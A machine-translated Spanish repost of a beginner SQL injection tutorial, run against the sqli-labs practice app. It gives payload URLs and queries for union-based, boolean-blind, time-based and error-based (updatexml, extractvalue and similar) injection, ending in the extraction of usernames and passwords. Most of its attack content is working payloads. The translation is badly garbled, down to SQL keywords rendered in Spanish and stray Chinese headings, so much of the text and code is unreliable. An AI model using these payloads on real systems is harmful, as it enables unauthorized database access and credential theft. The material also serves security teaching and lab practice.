inyección SQL - principiantes

Reproducido por favor agregue el enlace original: https: //www.cnblogs.com/Yang34/p/12632849.html

sql injection se refiere a la legalidad de los datos de entrada de aplicación de usuario web no está determinada, el atacante puede causar diferentes instrucción SQL configurado para implementar el funcionamiento de la base de datos.

vulnerabilidad de inyección sql producida por:
una entrada de datos de usuario puede ser controlada.
Código tenía que ser realizado, empalmando la entrada del usuario.

Peligro:
Un atacante el acceso no autorizado a los datos en la base de datos, robar la privacidad del usuario y la información personal, haciendo que la divulgación de información del usuario.
Puede añadir o eliminar en los datos de la base de datos, tales como añadir o eliminar una cuenta de administrador sin permiso.
Si el directorio del sitio existe permisos de escritura, puede escribir de Troya. Un atacante puede ser por lo tanto la manipulación de páginas web, publicar alguna información ilegal.
Después de mencionar como el paso correcto, el servidor de autoridad más alto es adquirida por un atacante. Un atacante puede controlar de forma remota el servidor, instalar una puerta trasera para modificar o controlar el sistema operativo.

: Categoría de
tipo digital: el * SELECT de la tabla 8 del DONDE lo anterior Identificación del mencionado =
HTTP: //XXX/YYY.php el mencionado de id = instrucción SELECT 1 para realizar el acceso normal a partir de la tabla de la DONDE lo anterior Identificación del mencionado = * 8?
HTTP: //XXX/YYY.php lo anterior Identificación del mencionado? 'se genera declaración para seleccionar un error de la tabla de la que la ejecución de los anteriores Identificación del mencionado = * 8' = 1
HTTP: //XXX/YYY.php el mencionado de id = instrucción SELECT 1 y 1 = 1 acceso normal * ejecutado del cuadro donde id = 8 y 1 =? 1
HTTP: //XXX/YYY.php lo anterior mencionado ID = 1 y 1 = 2 no se puede obtener la sentencia ejecutada de datos sELECT * FROM tabla donde id = 8 y 1 = 2?
personaje: sELECT * FROM tabla donde nombre de usuario = 'AAA'
Inicio de sesión declaración normal, seleccione el fotograma * de la tabla donde nombre de usuario = '' y la contraseña = ''
entrar en la cuenta y la contraseña, seleccione * de la tabla WHERE nombre de usuario = 'AAA' y la contraseña = 'BBB'
sELECT * FROM tabla WHERE nombre = 'AAA' o. 1 = 1 # 'y la contraseña =' BBB 'o 1 = 1 #'
instrucción de selección de ejecución * de la tabla donde nombre de usuario = 'AAA ' o 1 = 1
tipo de búsqueda: sELECT * FROM tabla donde nombre como 'xxx%%'

gesto Analizando :

Inyección usando una unión
http://192.168.3.131/sqlilabs/Less-1/?id=1%27 comillas simples dado
http://192.168.3.131/sqlilabs/Less-1/?id=1%27--+ Notas después de eco normales

http://192.168.3.131/sqlilabs/Less-1/?id=1' y '1' = '1' - +
http://192.168.3.131/sqlilabs/Less-1/?id=1' y 1 '=' 2' - +

Base de datos para realizar:

http://192.168.3.131/sqlilabs/Less-1/?id=1' ORDER BY 3 - +
http://192.168.3.131/sqlilabs/Less-1/?id=1' orden por 4 - +

http://192.168.3.131/sqlilabs/Less-1/?id=1 'union select 1,2,3 - + No se ven las
http://192.168.3.131/sqlilabs/Less-1/?id=- 1 'union select 1,2,3 - error + identificador generado

GROUP_CONCAT (campo, 'Split símbolo' campo) es principalmente una función del paquete de empalme

http://192.168.3.131/sqlilabs/Less-1/?id=-1 'union select 1, la base de datos ( ), 3 - + Obtener la base de datos http://192.168.3.131/sqlilabs/Less-1/?id = -1 'union select 1, la base de datos (), la versión () - + Get versión
http://192.168.3.131/sqlilabs/Less-1/?id=-1' union select 1,2, GROUP_CONCAT ( schema_name) de information_schema.schemata - + obtener todas las bases de datos

 

http://192.168.3.131/sqlilabs/Less-1/?id=-1 'union select 1,2, GROUP_CONCAT ( nombre_tabla) de INFORMATION_SCHEMA.TABLES donde esquema_tabla =' 'de seguridad - + Hoja de datos de
http: // 192.168.3.131/sqlilabs/Less-1/?id=-1 'union select 1,2, GROUP_CONCAT ( COLUMN_NAME) de INFORMATION_SCHEMA.COLUMNS donde table_name =' usuarios - + obtener los nombres de columna en la tabla
http: //192.168. ? 3.131 / sqlilabs / Menos-1 / id = -1 'union select 1,2, GROUP_CONCAT (id,' - 'nombre de usuario,' -', contraseña) de los usuarios - + adquiere información de campo

El uso de persianas:
No se puede recuperar datos de la base de datos método a modo de indicación directa. En el ciego, dependiendo del atacante para determinar su retorno a la información de la página (contenido de la página puede ser diferente, puede ser un diferentes tiempos de respuesta).
http://192.168.35.132/sqlilabs/less-5/?id=1
http://192.168.35.132/sqlilabs/less-5/?id=1%27
http://192.168.35.132/sqlilabs/less- ?. 5 / ID = 27% 1% 20y% 20length (base de datos ())% 3E7 -. +
http://192.168.35.132/sqlilabs/less-5/?id=1%27%20and%20length (base de datos () )% 3E8 - +
http://192.168.35.132/sqlilabs/less-5/?id=1%27%20and%20length(database())=8--+

izquierda (x, y) x bits de Y tomados desde la izquierda, para juzgar
http://192.168.35.132/sqlilabs/less-5/?id=1%27%20and%20left(database(),1)=%27w 27% 20% - +
http://192.168.35.132/sqlilabs/less-5/?id=1%27%20and%20left(database(),1)=%27s%27%20--+

http://192.168.35.132/sqlilabs/less-5/?id=1%27%20and%20left(database(),2)=%27se%27%20--+
http://192.168.35.132/sqlilabs / menos 5 / id = 1% 27% 20y% 20left (base de datos (), 8) =% 27security% 27% 20 -? +

A continuación, una ficha de datos de información, principalmente ascii (X) X es transfectado carácter de código ASCII; substr (x, y, z) se toma en la X Z Y bits de realidad media x de y es nuestro objetivo es tomar la z inicio y no es igual a la longitud de 0; límite (x, y) tomada de la x-y de inicio artículo

Si SELECT Unión:
Unión SELECT 1,2, GROUP_CONCAT (nombre_tabla) de INFORMATION_SCHEMA.TABLES TABLE_SCHEMA = DONDE 'Seguridad' - +
Parte tres funciones de unión:
ASCII (substr ((SELECT FROM nombre_tabla DONDE INFORMATION_SCHEMA.TABLES TABLE_SCHEMA = Base de datos ( ) límite de 0, 1), 1, 1))
http://192.168.35.132/sqlilabs/less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where% 20table_schema = base de datos (% 20limit%) 200,1), 1,1)) = 101% 20 - + La primera letra es e

La segunda letra es la substr correspondiente (X-, 2,1)
http://192.168.35.132/sqlilabs/less-5/?id=1'and ASCII (substr ((SELECT FROM nombre_tabla DONDE INFORMATION_SCHEMA.TABLES TABLE_SCHEMA = base de datos () límite de 0,1), 2,1)) = 109 - + pueden ser obtenidos para la segunda letra m
obteniendo así una primera tabla de datos de nombres completo correos electrónicos
límite (x, y) representativa del inicio x tomar la Y ya que la primera tabla es un límite de 0,1, la segunda tabla hay límite 1,1? Y así sucesivamente, en comparación con el cuarto límite de la mesa 3,1
cuarta mesa de adquirir nombre de la tabla:
http://192.168.35.132/sqlilabs/less-5/?id=1'and ASCII (substr ((TABLE_NAME SELECT de INFORMATION_SCHEMA.TABLES donde esquema_tabla = base de datos () límite de 3,1), 1,1)) = 117 - + una primera carta determinado u mismo modo nombre de columna de la tabla de datos se pueden obtener

Tiempo común ciego: si (x, y, z ) si x es cierto, entonces regresa y, de lo contrario z regreso; sueño (X) X segundos retrasan
y Si (ascii (substr (base de datos (), 1,1) ) <1 16, SLEEP (. 5) ,. 1)
y el Si (ASCII (substr (base de datos (), 1,1))> 114, SLEEP (. 5) ,. 1)
y el Si (ASCII (substr (base de datos () ,. 1, 1)) = 115, del sueño ( 5), 1) se determina como código ASCII primera carta 115

La adquisición de segundos:
y el Si (ascii (substr (base de datos (), 2,1))> 65, SLEEP (5) ,. 1.) Mayor que el código aparente segunda ascii 65

y Si (ascii (substr (base de datos (), 2,1))> 100, del sueño (5), 1) mayor que el código aparente segunda ascii 100

y Si (ascii (substr (base de datos (), 2,1))> 112, del sueño (5), 1) no es mayor que el intervalo aparente entre 112100-111

y Si (ascii (substr (base de datos (), 2,1)) = 104, del sueño (5), 1) la prueba se encontró que el segundo código ASCII 104 correspondiente a la letra h

报错注入利用
gratis Ficha del programa de carga útil
seleccionar * de prueba en la que id = 1 y exp (~ (seleccionar * de (seleccione un usuario ()) a));
seleccionar * de prueba en la que id = 1 y multilínea ((select * FROM (SELECT * a partir de (seleccione un usuario ()) a) b));
seleccionar * de prueba en la que id = 1 y cadena de líneas ((select * FROM (SELECT * a partir de (seleccione un usuario ()) a) b));
seleccionar * de prueba en la que id = 1 y multipolígono ((seleccionar * de (seleccionar * de (seleccione un usuario ()) a) b));
seleccionar * de prueba en la que id = 1 y polígono ((seleccionar * de (seleccionar * de (seleccione un usuario ()) a) b));
seleccionar * de prueba en la que id = 1 y multipunto ((seleccionar * de (seleccionar * de (seleccione un usuario ()) a) b));
seleccionar * de prueba en la que id = 1 y GeometryCollection ((seleccionar * de (seleccionar * de (seleccione un usuario ()) a) b));
seleccionar * de prueba en la que id = 1 y (updatexml (1, concat (0x7E, (seleccione un usuario ()), 0x7e), 1));
seleccionar * de prueba en la que id = 1 y (extractvalue (1, concat (0x7E, (seleccione un usuario ()), 0x7e)));
seleccionar * de prueba en la que id = 1 y (seleccione 1 a partir de (select count (*), concat (user (), suelos (rand (0) * 2)) x del grupo INFORMATION_SCHEMA.TABLES por x) a);


EXTRACTVALE y updatexml
extractValue (xml_document, XPath_string);
función principal función extractValue es fácil de entender:
extractValue (documentos XML de destino, la ruta XML) es principalmente una función del documento de consulta XML
, que xml caminos / XXX XXX / formato, si la información adicional está escrito se ha informado de un error, y estamos utilizando este error para obtener información sensible. El uso normal / XXX / XXX incluso si no hay error no encontrará ninguna.
seleccionar A_login de sl_admin donde A_ID = 12 ;

结合EXTRACTVALUE:
seleccionar A_login de sl_admin donde A_ID = 12 y (extractvalue ( 'TEST', '/ AAA / BBB'));

使用contcat连接:
seleccionar A_login de sl_admin donde A_ID = 12 y (extractvalue ( 'TEST', concat ( '/', (seleccione base de datos ())))); 

Usando la sintaxis incorrecta
seleccionar A_login de sl_admin donde A_ID = 12 y (extractvalue ( 'TEST', concat (0x7E, (seleccione base de datos ()))));

extractValue () de la longitud máxima de la cadena de consulta puede contener más de 32 a 32 se puede utilizar cuando la función de subcadena () es una vista tomada a 32 bits subcadena (X, Y, Z) : X, tomada de la intersección Y un Z-carácter shop73686F70
SELECT A_login de sl_admin donde A_ID = 12 y ( extractvalue ( 'nada', concat (0x7E, subcadena (hex ((seleccione base de datos ())), 1,3))));

Updatexml (xml_document, XPath_string, nuevo_valor);
función principal función updatexml es fácil de entender:
updatexml (documentos XML, XML Path, contenido actualizado)
sencillo de entender importante papel en la función: cambiar el valor del documento de acuerdo con las condiciones de nodos
declaración en conjunto con updatexml:
SELECT A_login de sl_admin donde A_ID = 12 y ( updatexml ( 'prueba', '/ AAA / BBB / CCC', 'tttttt'));

Dada hecho de realización, el mismo concat unión y extractValue:
SELECT A_login de sl_admin DONDE A_ID = 12 es y (El updatexml ( 'Test', concat ( '/', (Base de datos SELECT ())), 'TTTTTT'));  
SELECT A_login de sl_admin DONDE A_ID = 12 y (updatexml ( ' prueba', concat (0x7E, (seleccione base de datos ())), 'tttttt')); la obtención de datos dados como sigue:

Obtener el nombre de la base de datos:
y (extractValue ( 'TEST', el concat (0x7E, (Base de datos SELECT ())))) - +
Get tabla:
y (extractValue ( 'TEST', el concat (0x7E, (SELECT GROUP_CONCAT (nombre_tabla) de INFORMATION_SCHEMA.TABLES donde esquema_tabla = base de datos () )))) - +

Además de obtener la unión no int a, b son tablas:
y (extractValue ( 'el TEST', el concat (0x7E, (SELECT GROUP_CONCAT (nombre_tabla) de INFORMATION_SCHEMA.TABLES DONDE TABLE_SCHEMA = Base de datos () y nombre_tabla No en ( 'Usuarios')) ))) - +

获取列名:
y (extractvalue ( 'TEST', concat (0x7E, (seleccione GROUP_CONCAT (COLUMN_NAME) de INFORMATION_SCHEMA.COLUMNS donde nombre_tabla = 'usuarios')))) - +

Nombre de usuario y la contraseña de datos adquieren detalla:
y (extractValue ( 'TEST', el concat (0x7E, (SELECT GROUP_CONCAT (nombre de usuario, 0x7E, contraseña) de los Usuarios)))) - +

结合no en获取其他数据:
y (extractvalue ( 'TEST', concat (0x7E, (seleccione GROUP_CONCAT (nombre de usuario, 0x7E, contraseña) de los usuarios en el nombre de usuario no en ( 'Dumb') y el nombre de usuario no en ( 'Angelina')) ))) - +

Uso updatexml obtiene el nombre de base de datos:
y (updatexml ( 'Test', el concat (0x7E, (Base de datos SELECT ())), 'TTTTTT')) - +

获取表名:
y (updatexml ( 'test', concat (0x7E, (seleccione GROUP_CONCAT (nombre_tabla) de INFORMATION_SCHEMA.TABLES donde esquema_tabla = base de datos ())), 'tttttt')) - +

也是可以结合no en的
y (updatexml ( 'test', concat (0x7E, (seleccione GROUP_CONCAT (nombre_tabla) desde donde INFORMATION_SCHEMA.TABLES esquema_tabla = base de datos () y no en nombre_tabla ( 'e-mails'))), 'tttttt') ) - +

El método es similar a otros datos y no se describirá extractvalue

 

Supongo que te gusta

Origin www.cnblogs.com/Yang34/p/12632849.html
Recomendado
Clasificación